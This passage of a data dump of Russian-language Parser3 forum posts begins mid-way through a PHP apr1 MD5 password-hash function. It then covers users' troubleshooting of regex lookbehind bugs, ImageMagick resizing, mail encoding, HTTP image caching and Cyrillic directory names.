    $bin = pack(\"H32\", md5($text));\
    for($i = 0; $i < 1000; $i++) {\
        $new = ($i & 1) ? $plainpasswd : $bin;\
        if ($i % 3) $new .= $salt;\
        if ($i % 7) $new .= $plainpasswd;\
        $new .= ($i & 1) ? $bin : $plainpasswd;\
        $bin = pack(\"H32\", md5($new));\
    }\
    for ($i = 0; $i < 5; $i++) {\
        $k = $i + 6;\
        $j = $i + 12;\
        if ($j == 16) $j = 5;\
        $tmp = $bin[$i].$bin[$k].$bin[$j].$tmp;\
    }\
    $tmp = chr(0).chr(0).$bin[11].$tmp;\
    $tmp = strtr(strrev(substr(base64_encode($tmp), 2)),\
    \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\",\
    \"./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\");\
    return \"$\".\"apr1\".\"$\".$salt.\"$\".$tmp;\
}"
"73322","Поверьте на слово работает прекрасно, не чертыхается, используется в двух филиалах, сейчас будет открываться третий... Возможно пока нагрузка не большая..."
"73323","Спасибо за разъяснения, запросы уже работают без индексов, обязательно попробую добавить индексы и посмотреть скорость выборки..."
"73324","не самоцель, думал есть простое и элегантное решение, сейчас разбил на два запроса, причем результаты того который выбирает меньше указанной цены приходиться лополнительно сортировать средствами парсера"
"73325","[quote]причем результаты того который выбирает меньше указанной цены приходиться лополнительно сортировать средствами парсера[/quote]\
\
Это зачем?.."
"73326","а иначе они выбираются order by цена desc."
"73329","Я, кстати, никакой ни сеошник и меня они тоже бесят. Это задумка все время как бы обновляемой  (перемешивающейся) страницы. Просто запутался с .cfg, парсер оттуда команды не берет.\
\
Еще раз спасибо за наводку, а то бы мучался."
"73330","Есть:\
[code]@navigation_work[] \
$filename[[b]/sections_work.cfg[/b]]\
$sections[^table::load[$filename]]                    \
   ^sections.menu{	\
         ^navigation_cell_work[]\
   }\
\
@navigation_cell_work[]\
^if($sections.uri eq $request:uri){\
<nobr>$sections.name</nobr> \
	}{\
<a href=\"$sections.uri\" class=\"main-nav\"><nobr><noindex>$sections.name</noindex></nobr></a>\
	}[/code]\
Надо выводить каждый раз разную строку из [b]sections_work.cfg[/b]. Подскажите направление, пожалуйста.\
п.с. Я не сеошник."
"73336","Есть строка, содержащая текст \"[b]слово слов 324755562384[/b]\". Задача: [b]в числе разбить запятыми тысячи[/b].\
\
Код на Parser3:\
[code]\
@main[]\
<html><body>\
$text[слово слов 324755562384]\
$text<br /><br />\
$text[^text.match[(?<=\\d)(?=(\\d\\d\\d)+^$)][g][,]]\
$text\
</body></html>\
[/code]\
\
И аналогичный код написал на Perl:\
[code]\
#!/usr/bin/perl\
print \"Content-Type: text/html\\n\\n\";\
print \"<html><body>\\n\";\
$text = \"слово слов 324755562384\";\
print \"$text<br /><br />\\n\";\
$text =~ s/(?<=\\d)(?=(\\d\\d\\d)+$)/,/g;\
print \"$text\\n\";\
print \"</body></html>\\n\";\
[/code]\
\
В первом случае результат работы \"[b]слово слов 324,,755562384[/b]\".\
Во втором случае результат \"[b]слово слов 324,755,562,384[/b]\".\
\
Подскажите, почему у меня парсер выдает не правильный результат?"
"73337","по моему это \"баг\" парсера (я не смотрел код, но мне кажется, что с помощью ?<= вы не можете \"достучаться\" до символа, который только что был добавлен кодом замены)\
\
решить задачу можно лишь изменив шаблон. например так (если я ничего не перепутал):\
[code]\
$text[^text.match[(\\d)(?=(\\d\\d\\d)+^$)][g]{$match.1,}]\
[/code]"
"73338","[quote]по моему это \"баг\" парсера[/quote]\
да. я сейчас проверил функции просмотра вперед и назад: [b](?=...)[/b] и [b](?<=...)[/b] соответственно.\
и в коде:\
[code]\
$text0[123456789]\
$text1[^text0.match[(?=(\\d))][g][,]]\
$text2[^text0.match[(?<=(\\d))][g][,]]\
$text1\
$text2\
[/code]\
$text1 выводит \"[b],123456789[/b]\"\
$text2 выводит \"[b]1,,23456789[/b]\"\
т.е. функции не идут дальше по строке. 2 результат вообще странный получился."
"73339","я имею в виду заглядывание вперёд/назад в чистом поле (без \"фиксирующего\" символа).\
\
кстати может быть, что это не баг парсера, а баг/фича PCRE либы (в perl она используется немного иначе. причем версия либы у вас в perl с большой вероятностью не совпадает с версией либы в парсере. т.е. правильнее проверить взяв какой-нить собранный исполняемый файл либы, а не perl)"
"73340","Этот шаблон, предложен Фридлом в его известной книге по регуляркам, ему нет смысла не доверять ;)\
\
Кстати, Фридла внимательно никто не читает, у него там еще доводка шаблона до такого (с точки зрения эффективности) - (?<=\\d)(?=(?:\\d\\d\\d)+$), то есть вообще без группировки с запоминанием, т.к. она нигде не используется, вставка идет в позицию.\
\
\
Проблема эта в парсере давно, точно была еще до версии 3.3.0 (когда был переход на свежие либы PCRE), я тоже натыкался на нее, не разобравшись сделал вот такую некрасивую метод-загрушку:\
\
[code]@formatInt[numb;separator]\
^while(^numb.match[(?<=\\d)(?=(?:\\d{3})+^$)]){\
  $numb[^numb.match[(?<=\\d)(?=(?:\\d{3})+^$)][]{^if(def $separator){$separator}{ }}]\
}\
$result[$numb][/code]"
"73341","[quote]Этот шаблон, предложен Фридлом в его известной книге по регуляркам, ему нет смысла не доверять ;)[/quote]\
именно ее я сейчас и читаю :)\
\
когда стал разбирать данный пример, как раз и столкнулся с этой проблемой.\
\
в парсере используется либа версии 2.09 (судя по докам), а на данный момент доступна версия 8.10. насколько трудно собрать самому парсер с новой либой pcre? учитывая то, что я это ни разу не делал :)\
или с этим может кто-то помочь?"
"73342","[quote]\
Версия скомпонована с последними версиями библиотек GC (7.1), PCRE (7.9), libxml2 (2.7.6) и libxslt (1.1.26).\
[/quote]\
\
в следующей версии библиотека будет обновлена.\
\
P.S. попробовал входящий в состав pcre pcretest. он это переваривает нормально, т.е. это всё таки баг парсера.\
P.P.S. посмотрел в код. думаю расчитывать на исправление его в ближайшем времени не стоит, т.к. для этого придётся модифицировать исходную строку после каждой операции замены, что медленно."
"73344","нет, я не говорю про \"вообще\". я говорю про обхождение этого \"бага\".\
\
как мне кажется, предложенная мной реализация с запоминанием первой цифры покороче будет (правда я даже не проверял, а уж тем более не сравнивал эффективность)."
"73345","скорее как вариант. ведь шаблон в одну строку, без запоминания, работает эффективнее собрата с запоминанием.\
[quote]Версия скомпонована с последними версиями библиотек GC (7.1), PCRE (7.9), libxml2 (2.7.6) и libxslt (1.1.26).[/quote]\
извиняюсь, проглядел.\
[quote]предложенная мной реализация с запоминанием первой цифры покороче будет (правда я даже не проверял, а уж тем более не сравнивал эффективность).[/quote]\
проверял - работает ;)"
"73346","[quote]\
скорее как вариант. ведь шаблон в одну строку без запоминания работает эффективнее собрата с запоминанием.\
[/quote]\
\
да, [url=http://www.parser.ru/forum/?id=73342]баг[/url].\
но теперь представьте, что мы работаем с парсерными строками (у которых есть языки).\
после каждой замены придётся:\
- модифицировать строку\
- \"взорвать\" в ней все языки\
- заново сформировать cstr строку, с которой работает либа\
- разобраться, где-же у нас теперь та позиция в новой строке, на которой остановились во время предыдущей итерации\
- запустить следующую итерацию\
\
т.е. в нашем случае это получится жутко неэффективно. сейчас cstr строка формируется единожды, а дальше только вызовы pcre_exec. увы, сейчас с помощью lookbehind невозможно заглянуть в то, что подставил код замены на предыдущей итерации.\
\
в любом случае спасибо за найденный баг."
"73352","Использую nconvert. На локальной все нормуль, а на сервере дает такую ошибку. В чем может быть проблема?\
\
код такой: $picB[^oImg.info[/photos/big/${pic_name}.jpg]]"
"73353","Если льется через ftp, то надо это делать в бинароном режиме. Если через форму, то надо поставить правильный enctype. Заодно не плохо бы проверить как из консоли работает nconvert с этим файлом... В общем обычная процедура поиска ошибки, которую желательно делать ДО написания поста в форум."
"73354","^form:pic.save[binary;/photos/big/${pic_name}.jpg]"
"73355","... попробуйте перейти на ImageMagick, если хотите и дальше гадать на кофейной гуще. \
\
p.s. Тему закрываю."
"73357","Добрый день. Проблема заключается в следующем:\
\
На локальной юзаю nconvert, на сервере пытаюсь и то и то. не работает ничего. картинки сохраняет, в коде ошибок точно нет (на локале все ровно), но ресайз делать отказываются как nconvert так и ImageMagick. сервер на 1gb.ru с предустановленным мэджиком. ошибок никаких не выдает, страница обновляется нормально, но картинки остаются не тронутыми. может кто сталкивался с подобным? на форуме искал, но ответа нигде не нашел."
"73358","Что у Вас выдают команды\
convert --help\
./nconvert --help\
\
Они у Вас вообще запускаются?\
Пути в кофигах прописаны верно?"
"73359","nconvert говорит segmentation fault\
convert показывает опции. вроде все нормально с ним. в конфигах точно все правильно указано. в тех-поддержке тоже не знают причины. но код ресайза точно правильный. дома работает ведь."
"73360","Еще одна проблемка возникла:\
\
При использовании sendmail на почту приходят каракули. кодировку уже как только не пробовал задавать - все без толку. данные поступают через форму с помощью аякса - сама страница получает их верно. для теста заставил полученные данные сохранять в текстовом файле. там все хорошо, все по-русски. а вот sendmail и шлет уже не русскими совсем. в чем проблема?"
"73361","покажите код, в котором вы отправляете письмо."
"73362","[code]@main[]\
\
^form:message.save[/text-debug.txt]\
\
$sTo[nsdg@bk.ru]\
$sFrom[info@vanushina.com]\
\
^if(def $form:message){\
		^try{\
			^send[$sTo;$sFrom]\
            &nbsp^;\
            \
		}{\
			$exception.handled(1)\
			Произошла ошибка.\
		}\
}\
\
#end @main[]\
\
@send[sTo;sFrom]\
^mail:send[\
	$.to[$sTo]\
	$.from[$sFrom]\
	$.charset[$response:charset]\
	$.subject[Новое сообщение]\
	$.text[$form:message]\
]\
$result[]\
#end @send[][/code]"
"73363","И, конечно, надо бы запустить команды через консоль на сервере и посмотреть результаты работы. [Про это уже не раз писали.]"
"73364","Простите за ОФФТОП, но к Парсеру это отношение для меня имеет.\
Я загорелся just4fun добавить парсеру отдельных вещей.\
\
Однако, как системный программист я конечно нуб, но теоритическое (и совсем немного практического)представление имею по крайней мере как на низком уровне работают массивы в памяти, указатели на объекты и прочее - дело осталось за упорным чтением, изучением и практикой. \
Соглашусь, что парсер неплохой движок/фреймворк/шаблонизатор/язык для сборки сайтов, но он уже порядком остает от соврменных реалий и в нем много чего не хватает. Не хватает сериализации, нет поддержки FastCGI, чтобы связать его с nginx нативно например, не предполагается и не представляет возможным без промежуточных костылей подружить его с MongoDB, CouchDB, Redis'ом и прочими интересными NoSQL-db. \
\
Дайте напуствие - что выбрать ANSI C или сразу начать C++ - не с точки зрения удобства конструкций и синтаксиса, а с точки зрения актуальности и наличия готовых библиотек, модулей, для работы с современными аспектами типа XML, UTF, Какие-то сетевые фреймворки/либы. Или мир забросил С и все актуальные вещи пишутся на C++? \
\
Я вот открыл исходники Парсера и кажется понимаю, что он написан на чистом ANSI C? Дак может я ошибаюсь? И лагеря C и C++ не разбиты на два?"
"73365","сори тупанул не сразу увидел в исходниках конструкторы и всякие public: - конечно это С++\
\
..хотя что-то мне вспоминалась фраза бывшего соотечественника близкого друга Бьерна Старструпа, который говорил, что ООП не делает код понятнее или легче. Но после этого интервью от Страуструпа я вообще как отпал =)\
\
http://cs.mipt.ru/docs/comp/rus/develop/other/stroustrup_interview/"
"73367","windows-1251 )"
"73368","[quote]на почту приходят каракули[/quote]\
чем проверяли?\
пробовали отправлять на другой адрес?\
\
а если русские буквы тела письма прямо в коде страницы написать, отправляется нормально?\
\
пробовали добавить $.content-type[$.charset[...]]?"
"73369","Content-type задан. Если по-русски прямо в теле написать - все ок. Не понимаю где он теряет кодировку. В какой момент."
"73370","[quote]Content-type задан.[/quote]\
\
тогда всё-таки приведите ваш код отправки письма. в том, что [url=http://www.parser.ru/forum/?id=73362]вы привели[/url] -- content-type отсутствует. возможно там ещё что-либо важно отсутствует ($.charset[]?)."
"73371","[code]#КОДИРОВКИ\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
$response:content-type[$.value[text/html]$.charset[windows-1251]][/code]\
\
Это прописано в auto.p"
"73372","странно, но через консоль все работает. правда не понял почему только так:\
\
./convert logo: -resize\
\
а вот так нет:\
\
./convert -resize\
\
что за logo? :-)\
\
получается ошибка все-таки где-то у меня?\
\
[code]$pic_b[^oImg.resize[/photos/big/${pic_name}.jpg;;-ratio;500;]][/code]\
\
вот так я делаю ресайз."
"73373","вообще мне кажется, что проблемы у почтового клиента, т.к. с вашими кодировками вообще ничего не перекодируется парсером."
"73374","'main' method not found [parser.runtime]\
\
вот что попадает."
"73375","content-type у sendmail тоже не помогает. не знаю в чем загвоздка. :-("
"73376","добавьте опцию print-debug и посмотрите на полный текст почтового сообщения, которое формирует метод.\
\
P.S. вы выборочно отвечаете на вопросы. в таких условиях не представляется возможным понять происходящее. я -- пас."
"73377","Все же проблема оказалось в аяксе. Он что-то делает. Без него все нормально работает. Можно ли как-то обойти эту проблему? Чтобы данные принимались в нужной кодировке от аякса?"
"73378","Кстати из консоли пишет missing an image filename './shapka.png' @ convert.c/ConvertImageCommand/2776\
\
./bin/convert -resize '50%' ./shapka.png"
"73379","наверняка можно, но я не представляю как пришедшие данные могут корректно записываться в файл, и при этом не отправляться нормально почтой."
"73380","Подскажите пожалуйста, как можно с помощью ImagaMagick из CMYK перевести картинку в RGB? Спасибо :)"
"73381","Аякс передает все данные в utf-8. Пришлось прописать для конкретной страницы response:charset[utf-8]. все заработало."
"73384","Ставлю парсер на 1&1, подскажите, Вы нашли проблему? И как менять PATH_TRANSLATED ?"
"73385","Ну вперемешку =) Вопрос то про то, с чего начать был серьезный но как-то безответный =) Ну стал сам себе отвечать."
"73386","Проблему не нашёл, решил http://www.parser.ru/en/forum/?id=39760 вот так."
"73387","Берете любую книжку по Си++ (Парсер написан именно на нем) и читаете. Потом смотрите исходники и документацию по ним (надеюсь не надо рассказывать откуда ее брать :). Дальше пишете все, что Вам нужно... В принципе за полгодика-год можно добиться некоторых успехов.\
\
p.s. А не отвечали Вам по простой причине - вы задали риторический вопрос, который не требует ответа."
"73389","Помогите разобраться с путаницей на тему кеша, голову сломал уже.\
[b]Проблема вкратце:[/b]\
Паранойя на тему, что картинки кажется плохо кешируются. Складывается порой ощущение, что через день другой кеш протухает, хочется чтобы они закешировались намертво если не было перезаписи файла картинке на уровне ФС.\
\
[b]Мысли:[/b]\
Парсер стоит у хостера на shared-хостинге как cgi-скрипт, стоит Apache 1.3.x \
По идее, вебсервер сам формирует заголовки ответа для статических файлов (картинок) и сам следит за актуальностью файлов на ФС.\
В парсере никаких специальных, отключающих кеш заголовков не определено у меня.\
\
Заголовки после первого запроса по нажатию Reload: \
\
[b]Запрос index.html[/b]\
--------------------------------\
Host	xxxxxx.ru\
User-Agent	Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 GTB7.1\
Accept	text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\
Accept-Language	ru,en-us;q=0.7,en;q=0.3\
Accept-Encoding	gzip,deflate\
Accept-Charset	windows-1251,utf-8;q=0.7,*;q=0.7\
Keep-Alive	115\
Connection	keep-alive\
Cookie	sess=none\
Cache-Control	max-age=0\
--------------------------------\
  \
[b]Ответ index.html - 200 OK[/b]\
------------------------------------\
Date	Sun, 29 Aug 2010 12:08:03 GMT\
Server	Apache/1.3.41 (Unix) PHP/5.2.9\
Set-Cookie	sess=none; expires=Sat, 27 Nov 2010 12:08:03 GMT; path=/\
Content-Length	10796\
Connection	close\
Content-Type	text/html; charset=WINDOWS-1251\
------------------------------------\
\
\
[b]Запрос картинки на этой же странице[/b]\
------------------------------------------\
Host	xxxxxx.ru\
User-Agent	Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 GTB7.1\
Accept	image/png,image/*;q=0.8,*/*;q=0.5\
Accept-Language	ru,en-us;q=0.7,en;q=0.3\
Accept-Encoding	gzip,deflate\
Accept-Charset	windows-1251,utf-8;q=0.7,*;q=0.7\
Keep-Alive	115\
Connection	keep-alive\
Cookie	sess=none\
If-Modified-Since	Sat, 21 Aug 2010 12:44:57 GMT\
If-None-Match	\"39493c-21c0e-4c6fca49\"\
Cache-Control	max-age=0\
------------------------------------------\
\
[b]Ответ сервера на картинку - 304 Not Modified[/b]\
---------------------------------------------\
Date	Sun, 29 Aug 2010 12:08:05 GMT\
Server	Apache/1.3.41 (Unix) PHP/5.2.9\
Connection	close\
Etag	\"39493c-21c0e-4c6fca49\"\
---------------------------------------------\
\
На вид как бы все ок, но ощущение, что кеш картинок \"протухает\" постоянно, в браузере специальное \"не_хранение_кеша\" не ставилось и вообще не менялось с default'ового\
 (может конечно дисковую квоту кеша превышаю активным серфингом )\
\
[b]На самом деле паники нет, но что не понимаю:[/b]\
Могут ли влиять на кеш самих картинок:\
а) кеш-meta-теги index.html в которой эти картинки указаны\
b) http-заголовки ответа index.html - и может нужно для пущей верности что-то дописать туда из Парсера?\
c) Туплю я - так и должно быть это нормально все и так отдается верно. \
\
Вообще попахивает ответом c) но вот не дают покоя a) и b)"
"73390","ну... вы вообще-то не выдали никаких инструкцию браузеру для кеширования изображений. вот он (браузер) и пользуется тем, что у него указано по умолчанию (у меня, например -- 5 часов).\
\
выдайте необходимые заголовки -- будет вам счастье.\
[url=http://httpd.apache.org/docs/1.3/mod/mod_expires.html]ссылка[/url] вам в помощь.\
\
P.S. но вообще \"намёртво\" они не будут кешироваться. я браузеру разрешил использовать под кеш 50 МБ. думаете он туда 100 картинок положит и всё?"
"73391","При первом обращении:\
[b]Браузер[/b]\
Host	xxxxxx.ru\
User-Agent	Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 GTB7.1\
Accept	image/png,image/*;q=0.8,*/*;q=0.5\
Accept-Language	ru,en-us;q=0.7,en;q=0.3\
Accept-Encoding	gzip,deflate\
Accept-Charset	windows-1251,utf-8;q=0.7,*;q=0.7\
Keep-Alive	115\
Connection	keep-alive\
Referer	http://xxxxxx.ru/index.html\
Cookie	sess=none; mannewslist-acfilter=n; frmsyspars-acfilter=n; mnhelplist-acfilter=n\
\
[b]ВебСервер:[/b]\
Date	Sun, 29 Aug 2010 12:39:15 GMT\
Server	Apache/1.3.41 (Unix) PHP/5.2.9\
Last-Modified	Sat, 21 Aug 2010 12:44:57 GMT\
Etag	\"39493c-21c0e-4c6fca49\"\
Accept-Ranges	bytes\
Content-Length	138254\
Connection	close\
Content-Type	image/png\
-------------------\
Сервер сообщает, что картинка не менялась с 21 числа (сегодня 29)\
то есть кеш актуален как бы говорится браузеру\
\
-----------------------------------\
При втором обращении тут же\
------------------------------------\
[b]Браузер:[/b]\
Host	xxxxxxx.ru\
User-Agent	Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 GTB7.1\
Accept	image/png,image/*;q=0.8,*/*;q=0.5\
Accept-Language	ru,en-us;q=0.7,en;q=0.3\
Accept-Encoding	gzip,deflate\
Accept-Charset	windows-1251,utf-8;q=0.7,*;q=0.7\
Keep-Alive	115\
Connection	keep-alive\
Referer	http://xxxxxxx.ru/index.html\
Cookie	sess=none; mannewslist-acfilter=n; frmsyspars-acfilter=n; mnhelplist-acfilter=n\
If-Modified-Since	Sat, 21 Aug 2010 12:44:57 GMT\
If-None-Match	\"39493c-21c0e-4c6fca49\"\
Cache-Control	max-age=0\
\
[b]ВебСервер: 304 NotModified[/b]\
Date	Sun, 29 Aug 2010 12:42:11 GMT\
Server	Apache/1.3.41 (Unix) PHP/5.2.9\
Connection	close\
Etag	\"39493c-21c0e-4c6fca49\"\
\
P.S.:\
При первой загрузке браузеру же сказали, что\
Last-Modified	Sat, 21 Aug 2010 12:44:57 GMT \
и при втором релоаде браузер послал\
If-Modified-Since	Sat, 21 Aug 2010 12:44:57 GMT\
на что получил не тело картинки а 304 Not Modified\
значит, что картинка не была загружена, а была взята из кеша.\
Вопрос конечно в том, что такое поведение отдано на откуп браузера, вы же говорите, что надо явно указать о кешировании.\
И еще вопрос был про кеш-meta-теги могут ли они повлиять?"
"73392","Первое обращение к http://www.parser.ru/i/logo.gif\
[b]Запрос[/b]\
Host	www.parser.ru\
User-Agent	Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 GTB7.1\
Accept	image/png,image/*;q=0.8,*/*;q=0.5\
Accept-Language	ru,en-us;q=0.7,en;q=0.3\
Accept-Encoding	gzip,deflate\
Accept-Charset	windows-1251,utf-8;q=0.7,*;q=0.7\
Keep-Alive	115\
Connection	keep-alive\
Referer	http://www.parser.ru/forum/?id=73390\
Cookie	cookie=on; auth.uid=xxxxxxxxx\
\
[b]Ответ[/b]\
Date	Sun, 29 Aug 2010 12:49:24 GMT\
Server	Apache/1.3.37 (Unix)\
Last-Modified	Thu, 11 Apr 2002 15:35:24 GMT\
Etag	\"9643a5-52d-3cb5ad3c\"\
Accept-Ranges	bytes\
Content-Length	1325\
Connection	close\
Content-Type	image/gif\
---------\
P.S: что-то не видать специальных заголовком про кеш у вас.\
Та же Last-Modified что и у меня только младше что естественно\
\
Повторный релоад\
\
[b]Запрос[/b]\
Host	www.parser.ru\
User-Agent	Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 GTB7.1\
Accept	image/png,image/*;q=0.8,*/*;q=0.5\
Accept-Language	ru,en-us;q=0.7,en;q=0.3\
Accept-Encoding	gzip,deflate\
Accept-Charset	windows-1251,utf-8;q=0.7,*;q=0.7\
Keep-Alive	115\
Connection	keep-alive\
Referer	http://www.parser.ru/forum/?id=73390\
Cookie	cookie=on; auth.uid=xxxxxxxx\
If-Modified-Since	Thu, 11 Apr 2002 15:35:24 GMT\
If-None-Match	\"9643a5-52d-3cb5ad3c\"\
Cache-Control	max-age=0\
\
[b]Ответ - 304 Not Modified[/b]\
Date	Sun, 29 Aug 2010 12:52:04 GMT\
Server	Apache/1.3.37 (Unix)\
Connection	close\
Etag	\"9643a5-52d-3cb5ad3c\"\
\
P.S.: \
Простите но не вижу разницы"
"73393","было бы круто, если да"
"73394","Что выдает страница www.parser.ru/forum\
\
Date	Sun, 29 Aug 2010 12:55:54 GMT\
Server	Apache/1.3.37 (Unix)\
[b]Cache-Control[/b]	no-store, no-cache, must-revalidate, proxy-revalidate\
[b]Expires[/b]	Fri, 23 Mar 2001 09:32:23 GMT\
[b]Pragma[/b]	no-cache\
Set-Cookie	cookie=on; expires=Mon, 29 Aug 2011 12:55:55 GMT; path=/\
Content-Length	36463\
Connection	close\
Content-Type	text/html; charset=WINDOWS-1251\
\
---------\
И это не помешало картинкам кеширвоаться, что я не понял про ваши 5 часов на кеширование.... чесслово"
"73395","Похоже что директивами для mod_expires мы как бы рулим заголовками\
Last-Modified\
и если надо mod_expires будет просто периодически сам перекрывать\
эти значения вне зависимости от измненения файлов на ФС. То есть сказали Every 5 hours - то и будет через 5 часов менять Last-Modified наверное..."
"73396","[quote]\
Простите но не вижу разницы\
[/quote]\
а с чего ей быть, если и вы не управляете кэшированием изображений и мы?\
\
- мета-теги влиять на кеширование изображений не должны, т.к. они к документу относятся. так-же к изображениям не относятся http заголовки html страницы.\
\
- протухнет картинка (это браузер или его пользователь решает когда ей протухнуть) -- пойдёт запрос без If.\
\
- я говорю, что если сказать браузеру о параметрах кеширования конкретной картинке, то он _может_ (но _не_обязан_) использовать эту информацию, а не введённый в настройках default.\
\
- вы не поверите, но last-modified с expires на кеширование в общем и влияют.\
\
P.S. вот чесное слово -- я не понимаю вашей проблемы."
"73397","Хотелось как раз и услышать от знатоков и лишний раз в голове прояснить. В принципе last-modified значит вполне достаточно наверное..."
"73398","В этой книжке все подробно расписано и есть нужные конфиги для Апача."
"73401","В общем получаем данные из формы(текстареа) в которой могут быть переносы строк, данные заносятся в таблицу и сохраняются на диск.\
Но после такого сохранения таблица становится порченная из-за присутствия символом переноса, где-то в доках натыкался, что при вызове какого-то метода весь код [i]скукоживался[/i] до одной строки, т.к. данные это хтмл, меня этот вполне устроит. Такой метод есть у XDoc.string, как можно сделать подобный аналог?"
"73403","Добрый день! Подскажите пожалуйста, почему не работает преобразование типа\
[code]^taint[html][$form:form1][/code]\
\
при попытке использовать внутри\
[code]^table.append{}[/code] ?"
"73404","предлагаю перечитать документацию.\
\
P.S. никаких преобразований при выполнении метода append происходить и не должно."
"73405","Смысл вопроса был следующий: при использовании конструкции\
[code]\
$str[<a href=\"http://www.mysite.ru\">www.mysite.ru</a>]\
$str1[^taint[xml][$str]]\
[/code]\
\
[code]$str1[/code] выдаст нам &lt;a href=&quot;http://www.mysite.ru&quot;&gt;www.mysite.ru&lt;/a&gt; так?\
\
Однако если я использую конструкцию \
\
[code]$table[^table::create{id	str\
}]\
^table.append{1	$str1} [/code]\
\
То в полученной таблице будет:\
\
[code]id	str\
1	<a href=\"http://www.mysite.ru\">www.mysite.ru</a>[/code]\
\
А вообще, наверное, действительно туплю.\
Прошу прощения."
"73410","или вам было лениво прочитать и вникнуть в тот небольшой текст, который был по приведённой мной ссылке?"
"73412","Доброго времени суток. Уважаемые гуру парсера. Подскажите как быть в такой ситуации. Есть строка типа:\
www.site.ru/ru/?wer&ggg&bla\
\
При использовании $response:location[?$reyuesrt:query]\
Обновляет на строку типа:\
www.site.ru/ru/?wer%260ggg%260bla\
Подскажите, как обновить на нормальную строку, что бы символы не менялись? Заранее благодарю, пробовал замену, тоже самое."
"73413","Извиняюсь, пока кофе не попьешь, ничего не сделаешь)\
[code]$response:location[?^request:query.match[(\\%260|\\&)][g]{&}][/code]"
"73416","Кроме & там еще и другие символы кодируются. Сделайте taint"
"73417","Добрый день!\
\
Знаю что не к теме парсера, но суппорт мастерхоста пока молчит - может тут кто знает в чём проблема.\
\
парсером (3.3.0) создаётся каталог с кириличей в названии - туда кладутся фотки.\
\
через фтп - папка видна (отображается путь как %D0 etc.), а вот по http постоянно вываливается 404.\
\
изначально система проектировалась, что будут только англ. символы в названиях папках, а теперь вот понадобилось и русские названия...\
\
если проблема не решится - видится единственный путь делать транслит, если есть кир. символы через replace."
"73418","Есть ли на PHP аналог парсерного auto.p, чтобы можно было легко и быстро собирать страницы сайта по одному шаблону?\
\
Что-то вроде этого:\
\
/auto.p:\
\
[code]\
@main[]\
<html>\
...^header[]...^body[]...^footer[]...\
</html>\
\
@header[]\
...\
@body[]\
...\
@footer[]\
...[/code]\
\
/articles/index.html:\
\
[code]@body[]\
Список статей[/code]\
\
То есть чтобы основная структура хранилась в одном файле, а дополнительные части к нему подгружались.\
\
Суть проблемы в том, что долгое время делал сайты на Парсере, теперь вот пришлось переучиваться на PHP. Ни один из виденных в учебниках вариантов не сравнится по легкости с тем, как это обстоит на Парсере.\
\
Есть какое-то надежное решение?"
"73420","Как же люди на нем программируют?! Это же страшно неудобно - в каждом файле повторять всю структуру страницы, со всеми html-тэгами. Насколько я понял тот же Smarty от этой проблемы так же не избавлен. \
\
Пока наиболее оптимальным видится мне подгружать с индексной страницы инклюдами различные части, в зависимости от передаваемого через адресную строку ключа:\
\
[code]index.html?section=articles[/code],\
\
а потом преобразовывать адрес в удобоваримый вид с помощью mod_rewrite.\
\
Есть ещё какие-то решения?"
"73421","Совсем.\
\
Встроенный механизм Парсера обусловлен самой шаблонизированностью языка и не является панацеей.\
\
Хотя, похожие концепции наследования используются в различных шаблонизаторах.\
Наряду с другими подходами.\
\
Что-то посоветовать даже затрудняюсь.\
Посмотрите на MVC-паттерн и его производные, разберитесь как устроены популярные фреймворки и выберите наиболее подходящее решение для своих задач."
"73424","Можно-ли средствами Парсера реализовать ПХПшную функцию?"
"73425","Обычно такие действия удобно вынести в shell-скрипт, который уже звать из Парсера. Все это не сложно, да и документации в сети по этому поводу масса."
"73426","Добрый день!\
\
В общем, с предыдущим топиком разобрался.\
Есть папка с русским названием \"АСТ\" - она создаётся парсером (3.3.0)\
Доступна по хттп по адресу /%C0%D1%D2/,\
однако парсер-то хранит ссылку как \"/АСТ/\" и выводит в html в другой комбинации - /%D0%90%D0%A1%D0%A2/\
\
Т.е. как преобразовать \"/АСТ/\" в \"%C0%D1%D2\" ? (кодировка парсера windows-1251, а не юникод)"
"73427","наверное у вас response:charset == UTF-8, вот он и выводит в виде %D0...\
\
укажите в response:charset windows-1251 и будет выводиться в виде %C0\
\
P.S. насколько я знаю, вас ждут ещё не одни грабли при работе парсером с русскими буквами в именах каталогах (каких именно -- не подскажу, т.к. сам никогда подобным не пользовался и соотв. не знаю). предлагаю подумать об изменении логики."
"73428","В auto.p и request & response - windows-1251\
В браузере тоже windows-1251\
\
На счёт логики - 2 года назад, когда делалась логига - не было в планах русских названий, сейчас появилась.\
\
Фактически, это ариткулы. Видимо придётся переделывать на ID (int)"
"73430","Приветствую!\
\
Понадобилось сделать в каталоге привязку цен к размерам,\
размеры хранятся в БД (good_id, size_id) и соответственно выводятся на странице редактирования.\
\
Сейчас добавил ещё столбцы price_opt, price_retail\
\
Однако при попытке добавления поля price_opt_NN, price_retail_NN не доступны.\
\
Вот код, который воспроизводит багу - можно скопировать и запустить\
[code]\
<form method=\"post\" enctype=\"multipart/form-data\">\
	Size 1 <input type=\"checkbox\" name=\"sizes\" value=\"1\" checked=\"checked\" />\
	Price Opt <input type=\"text\" name=\"price_opt_1\" value=\"100\" />\
	Price Retail <input type=\"text\" name=\"price_retail_1\" value=\"200\" />\
\
	<br/>\
\
	Size 2 <input type=\"checkbox\" name=\"sizes\" value=\"2\" checked=\"checked\" />\
	Price Opt <input type=\"text\" name=\"price_opt_1\" value=\"200\" />\
	Price Retail <input type=\"text\" name=\"price_retail_1\" value=\"400\" />\
	\
	<br/>\
	\
	Size 3 <input type=\"checkbox\" name=\"sizes\" value=\"3\" />\
	Price Opt <input type=\"text\" name=\"price_opt_3\" value=\"0\" />\
